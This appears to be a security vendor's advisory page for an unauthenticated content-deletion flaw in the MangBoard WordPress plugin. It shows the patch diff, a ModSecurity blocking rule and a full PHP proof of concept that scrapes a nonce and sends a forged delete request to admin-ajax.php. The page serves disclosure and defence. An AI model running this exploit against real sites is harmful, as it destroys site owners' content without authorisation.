 				}
 			}
 		}else{
-			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-			echo mbw_get_result_data("message");
+			echo esc_html(strip_tags(mbw_get_result_data("message")));
 		}
 	}else if(mbw_get_result_data("state")=="error"){
-		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-		echo mbw_get_result_data("message");
+		echo esc_html(strip_tags(mbw_get_result_data("message")));
 	}
 }
 do_action('mbw_uploader_api_footer');
--- a/mangboard/includes/mb-version.php
+++ b/mangboard/includes/mb-version.php
@@ -1,5 +1,5 @@
 <?php
-$mb_version			= '2.4.7';
-$mb_index			= '251';
+$mb_version			= '2.4.8';
+$mb_index			= '256';
 $mb_db_version		= '1.0.7';
 ?>
 No newline at end of file
--- a/mangboard/includes/skin-filters.php
+++ b/mangboard/includes/skin-filters.php
@@ -75,7 +75,8 @@
 				$item["value"]			= mbw_htmlspecialchars_decode($item["value"]);

 				$item_level				= intval(mbw_get_board_item("fn_level", false));
-				if ( $item_level == 0 ) {	//비회원이 작성한 게시물은 추가 보안 검증
+				//레벨 10 (관리자) 이하의 회원이 작성했거나 DISALLOW_UNFILTERED_HTML 설정이 있을 경우 추가 검증
+				if ( $item_level < 10 || (defined('DISALLOW_UNFILTERED_HTML') && DISALLOW_UNFILTERED_HTML) ) {
 					if( function_exists('mbw_get_htmlpurify') && version_compare(PHP_VERSION, '5.4.0', '>=') ){
 						$item["value"]		= mbw_get_htmlpurify($item["value"]);
 					} else {
--- a/mangboard/mangboard.php
+++ b/mangboard/mangboard.php
@@ -3,7 +3,7 @@
  * Plugin Name: MangBoard
  * Plugin URI: https://mangboard.com/
  * Description: MangBoard는 Wordpress에서 게시판을 생성/관리 할 수 있는 기능을 제공합니다
- * Version: 2.4.7
+ * Version: 2.4.8
  * Author: Hometory
  * Author URI: https://www.hometory.com/
  * License: GPLv2 or later
--- a/mangboard/models/admin/board_options.php
+++ b/mangboard/models/admin/board_options.php
@@ -113,10 +113,10 @@
 {"field":"fn_view_level","name":"W_AUTHORITY_VIEW","width":"100px","type":"select","data":"0,1,2,3,4,5,6,7,8,9,10","default":"0","description":"<br>(MSG_SET_VIEW)"},
 {"field":"fn_reply_level","name":"W_AUTHORITY_REPLAY","width":"100px","type":"select","data":"0,1,2,3,4,5,6,7,8,9,10,11","default":"0","description":"<br>(MSG_SET_REPLY)"},
 {"field":"fn_comment_level","name":"W_AUTHORITY_COMMENT","width":"100px","type":"select","data":"0,1,2,3,4,5,6,7,8,9,10","default":"0","description":"<br>(MSG_SET_COMMENT)"},
-{"field":"fn_modify_level","name":"W_AUTHORITY_MODIFY","width":"100px","type":"select","data":"0,1,2,3,4,5,6,7,8,9,10","default":"8","description":"<br>(MSG_AUTHORITY_MODIFY)"},
-{"field":"fn_secret_level","name":"W_AUTHORITY_SECRET","width":"100px","type":"select","data":"0,1,2,3,4,5,6,7,8,9,10","default":"8","description":"<br>(MSG_AUTHORITY_SECRET_MSG)"},
-{"field":"fn_delete_level","name":"W_AUTHORITY_DELETE","width":"100px","type":"select","data":"0,1,2,3,4,5,6,7,8,9,10","default":"8","description":"<br>(MSG_AUTHORITY_DELETE)"},
-{"field":"fn_manage_level","name":"W_AUTHORITY_ADMIN","width":"100px","type":"select","data":"0,1,2,3,4,5,6,7,8,9,10","default":"8","description":"<br>(MSG_AUTHORITY_BOARD_ADMIN)"},
+{"field":"fn_modify_level","name":"W_AUTHORITY_MODIFY","width":"100px","type":"select","data":"5,6,7,8,9,10","default":"8","description":"<br>(MSG_AUTHORITY_MODIFY)"},
+{"field":"fn_secret_level","name":"W_AUTHORITY_SECRET","width":"100px","type":"select","data":"5,6,7,8,9,10","default":"8","description":"<br>(MSG_AUTHORITY_SECRET_MSG)"},
+{"field":"fn_delete_level","name":"W_AUTHORITY_DELETE","width":"100px","type":"select","data":"5,6,7,8,9,10","default":"8","description":"<br>(MSG_AUTHORITY_DELETE)"},
+{"field":"fn_manage_level","name":"W_AUTHORITY_ADMIN","width":"100px","type":"select","data":"5,6,7,8,9,10","default":"8","description":"<br>(MSG_AUTHORITY_BOARD_ADMIN)"},
 {"tpl":"tag","tag_name":"table","type":"end"},

 {"tpl":"tag","tag_name":"div","text":"■ '.__MW('W_POINT_SET').'","style":"margin-top:20px;font-weight:600;font-size:14px;padding:5px 2px;"},
--- a/mangboard/models/admin/users.php
+++ b/mangboard/models/admin/users.php
@@ -61,7 +61,7 @@
 $desktop_model['write']		= '
 {"tpl":"tag","tag_name":"table","type":"start","name":"W_EDIT_USER_INFO","width":"15%,*","mobile_width":"90px,*","class":"table table-write"},
 {"field":"fn_user_id","name":"W_ID","width":"300px","required":"(*)","required_action":"write","unique":"","modify":"static","maxlength":"140","pattern":"pattern_en_num_4ge","pattern_error":"MSG_ID_INPUT_CHECK"},
-{"field":"fn_user_name","name":"W_NAME","width":"300px","required":"(*)","maxlength":"30","pattern":"pattern_2ge","pattern_error":"MSG_NAME_INPUT_2MORE"},
+{"field":"fn_user_name","name":"W_NAME","width":"300px","required":"(*)","required_error":"MSG_FIELD_EMPTY_ERROR2","maxlength":"30","pattern":"pattern_2ge","pattern_error":"MSG_NAME_INPUT_2MORE"},
 {"field":"fn_passwd","name":"W_PASSWORD","width":"300px","type":"password","modify":"admin_user_name_password","pattern":"pattern_4ge","pattern_error":"MSG_PASSWORD_INPUT_4MORE"},
 {"field":"fn_user_group","name":"W_GROUP","width":"300px","maxlength":"50"},
 {"field":"fn_user_level","name":"W_LEVEL","width":"100px","type":"select","data":"0,1,2,3,4,5,6,7,8,9,10","default":"1","description":""},

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-120681
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026120681,phase:2,deny,status:403,chain,msg:'CVE-2026-120681 via Mang Board AJAX delete',severity:'CRITICAL',tag:'CVE-2026-120681'"
  SecRule ARGS_POST:action "@streq mb_api" "chain"
    SecRule ARGS_POST:mode "@streq comment" "chain"
      SecRule ARGS_POST:board_action "@streq delete" "chain"
        SecRule ARGS_POST:board_pid "@rx ^d+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-120681 - Mang Board <= 2.4.7 - Missing Authorization to Unauthenticated Arbitrary Content Deletion via 'mode' / 'comment_pid' / 'board_pid' Parameter Confusion

$target_url = 'http://example.com'; // Change to target WordPress site
$post_id = 1; // ID of the post to delete

// Step 1: Fetch the board listing page to extract the nonce
// The nonce is typically embedded in a JavaScript variable or data attribute.
// We assume the board listing is at a known URL, e.g., /board/ or /?page_id=2
$listing_url = $target_url . '/board/'; // Adjust based on the site's board page
$ch = curl_init($listing_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (!$response) {
    die('Failed to fetch board listing page.n');
}

// Extract nonce: look for patterns like 'nonce':'abc123' or data-nonce="abc123"
$nonce = '';
if (preg_match('/"nonce"s*:s*"([^"]+)"/', $response, $matches)) {
    $nonce = $matches[1];
} elseif (preg_match('/data-nonce="([^"]+)"/', $response, $matches)) {
    $nonce = $matches[1];
} elseif (preg_match('/nonces*[:=]s*["']([^"']+)["']/', $response, $matches)) {
    $nonce = $matches[1];
}

if (empty($nonce)) {
    die('Nonce not found on board listing page.n');
}

echo "Extracted nonce: $noncen";

// Step 2: Send the delete request to the plugin's API endpoint
// The plugin uses admin-ajax.php with action=mb_api or a custom endpoint.
// We use the standard WordPress AJAX endpoint.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$post_data = [
    'action' => 'mb_api', // The plugin's AJAX action
    'mode' => 'comment', // Confuse mode to bypass board-specific checks
    'board_action' => 'delete',
    'board_name' => 'default', // Replace with the board name if needed
    'board_pid' => $post_id,
    'nonce' => $nonce,
];

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$delete_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $delete_responsen";

// Check for success indicators (e.g., no error message, or success state)
if (strpos($delete_response, 'error') === false && $http_code == 200) {
    echo "Post deletion may have succeeded. Check the site.n";
} else {
    echo "Deletion may have failed. Check the response.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.